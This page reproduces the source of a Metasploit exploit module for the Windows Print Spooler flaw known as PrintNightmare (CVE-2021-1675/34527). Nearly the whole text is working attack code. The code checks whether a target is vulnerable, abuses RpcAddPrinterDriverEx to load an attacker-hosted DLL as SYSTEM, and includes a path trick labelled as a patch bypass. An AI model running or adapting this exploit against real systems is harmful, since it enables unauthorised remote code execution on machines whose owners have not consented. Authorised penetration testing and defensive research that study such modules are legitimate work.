Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'89class MetasploitModule < Msf::Exploit::Remote1011prepend Msf::Exploit::Remote::AutoCheck12include Msf::Exploit::Remote::DCERPC13include Msf::Exploit::Remote::SMB::Client::Authenticated14include Msf::Exploit::Remote::SMB::Server::Share15include Msf::Exploit::Retry16include Msf::Exploit::EXE17include Msf::Exploit::Deprecated1819moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'2021PrintSystem = RubySMB::Dcerpc::PrintSystem2223def initialize(info = {})24super(25update_info(26info,27'Name' => 'Print Spooler Remote DLL Injection',28'Description' => %q{29The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted30DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN31vector which requires the Print Spooler service to be running.32},33'Author' => [34'Zhiniang Peng', # vulnerability discovery / research35'Xuefeng Li', # vulnerability discovery / research36'Zhipeng Huo', # vulnerability discovery37'Piotr Madej', # vulnerability discovery38'Zhang Yunhai', # vulnerability discovery39'cube0x0', # PoC40'Spencer McIntyre', # metasploit module41'Christophe De La Fuente', # metasploit module co-author42],43'License' => MSF_LICENSE,44'DefaultOptions' => {45'SRVHOST' => Rex::Socket.source_address46},47'Stance' => Msf::Exploit::Stance::Aggressive,48'Targets' => [49[50'Windows', {51'Platform' => 'win',52'Arch' => [ ARCH_X64, ARCH_X86 ]53},54],55],56'DisclosureDate' => '2021-06-08',57'References' => [58['CVE', '2021-1675'],59['CVE', '2021-34527'],60['URL', 'https://github.com/cube0x0/CVE-2021-1675'],61['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],62['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],63['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']64],65'Notes' => {66'AKA' => [ 'PrintNightmare' ],67'Stability' => [CRASH_SERVICE_DOWN],68'Reliability' => [UNRELIABLE_SESSION],69'SideEffects' => [70ARTIFACTS_ON_DISK # the dll will be copied to the remote server71]72}73)74)7576register_advanced_options(77[78OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])79]80)81deregister_options('AutoCheck')82end8384def check85begin86connect(backend: :ruby_smb)87rescue Rex::ConnectionError88return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')89end9091begin92smb_login93rescue Rex::Proto::SMB::Exceptions::LoginError94return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')95end9697begin98dcerpc_bind_spoolss99rescue RubySMB::Error::UnexpectedStatusCode => e100nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first101if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND102print_error("The 'Print Spooler' service is disabled.")103end104return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")105end106107@target_arch = dcerpc_getarch108# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43109if @target_arch == ARCH_X64110@environment = 'Windows x64'111elsif @target_arch == ARCH_X86112@environment = 'Windows NT x86'113else114return Exploit::CheckCode::Detected('Successfully bound to the remote service.')115end116117print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")118119print_status('Enumerating the installed printer drivers...')120drivers = enum_printer_drivers(@environment)121@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"122vprint_status("Using driver path: #{@driver_path}")123124print_status('Retrieving the path of the printer driver directory...')125@config_directory = get_printer_driver_directory(@environment)126vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?127128container = driver_container(129p_config_file: 'C:\\Windows\\System32\\kernel32.dll',130p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"131)132133case add_printer_driver_ex(container)134when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code135return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')136when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND137return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')138when ::WindowsError::Win32::ERROR_BAD_NET_NAME139return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')140when ::WindowsError::Win32::ERROR_ACCESS_DENIED141return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')142end143144Exploit::CheckCode::Detected('Successfully bound to the remote service.')145end146147def run148fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64149fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?150fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?151152super153end154155def setup156if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0157fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')158end159160super161end162163def start_service164file_name << '.dll'165self.file_contents = generate_payload_dll166167super168end169170def primer171dll_path = unc172if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/173# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass174# otherwise the operation will fail with ERROR_INVALID_PARAMETER175dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"176end177vprint_status("Using DLL path: #{dll_path}")178179filename = dll_path.rpartition('\\').last180container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)1811823.times do183add_printer_driver_ex(container)184end1851861.upto(3) do |directory|187container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")188break if add_printer_driver_ex(container).nil?189end190191cleanup_service192end193194def driver_container(**kwargs)195PrintSystem::DriverContainer.new(196level: 2,197tag: 2,198driver_info: PrintSystem::DriverInfo2.new(199c_version: 3,200p_name_ref_id: 0x00020000,201p_environment_ref_id: 0x00020004,202p_driver_path_ref_id: 0x00020008,203p_data_file_ref_id: 0x0002000c,204p_config_file_ref_id: 0x00020010,205# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913206p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",207p_environment: @environment,208p_driver_path: @driver_path,209**kwargs210)211)212end213214def dcerpc_bind_spoolss215handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])216vprint_status("Binding to #{handle} ...")217dcerpc_bind(handle)218vprint_status("Bound to #{handle} ...")219end220221def enum_printer_drivers(environment)222response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)223response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)224fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length225DriverInfo2.read(response.p_drivers.map(&:chr).join)226end227228def get_printer_driver_directory(environment)229response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)230response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)231fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length232RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')233end234235def add_printer_driver_ex(container)236flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES237238begin239response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)240rescue RubySMB::Error::UnexpectedStatusCode => e241nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first242message = "Error #{nt_status.name} (#{nt_status.description})"243if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN244# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected245print_status('The named pipe connection was broken, reconnecting...')246reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do247dcerpc_bind_spoolss248rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e249false250else251true252end253254unless reconnected255vprint_status('Failed to reconnect to the named pipe.')256return nil257end258259print_status('Successfully reconnected to the named pipe.')260retry261else262print_error(message)263end264265return nt_status266end267268error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first269message = "RpcAddPrinterDriverEx response #{response.error_status}"270message << " #{error.name} (#{error.description})" unless error.nil?271vprint_status(message)272error273end274275def rprn_call(name, **kwargs)276request = PrintSystem.const_get("#{name}Request").new(**kwargs)277278begin279raw_response = dcerpc.call(request.opnum, request.to_binary_s)280rescue Rex::Proto::DCERPC::Exceptions::Fault => e281fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")282end283284PrintSystem.const_get("#{name}Response").read(raw_response)285end286287class DriverInfo2Header < BinData::Record288endian :little289290uint32 :c_version291uint32 :name_offset292uint32 :environment_offset293uint32 :driver_path_offset294uint32 :data_file_offset295uint32 :config_file_offset296end297298# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2299# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030300DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do301def self.read(data)302header = DriverInfo2Header.read(data)303new(304header,305RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),306RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),307RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),308RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),309RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')310)311end312end313end314315316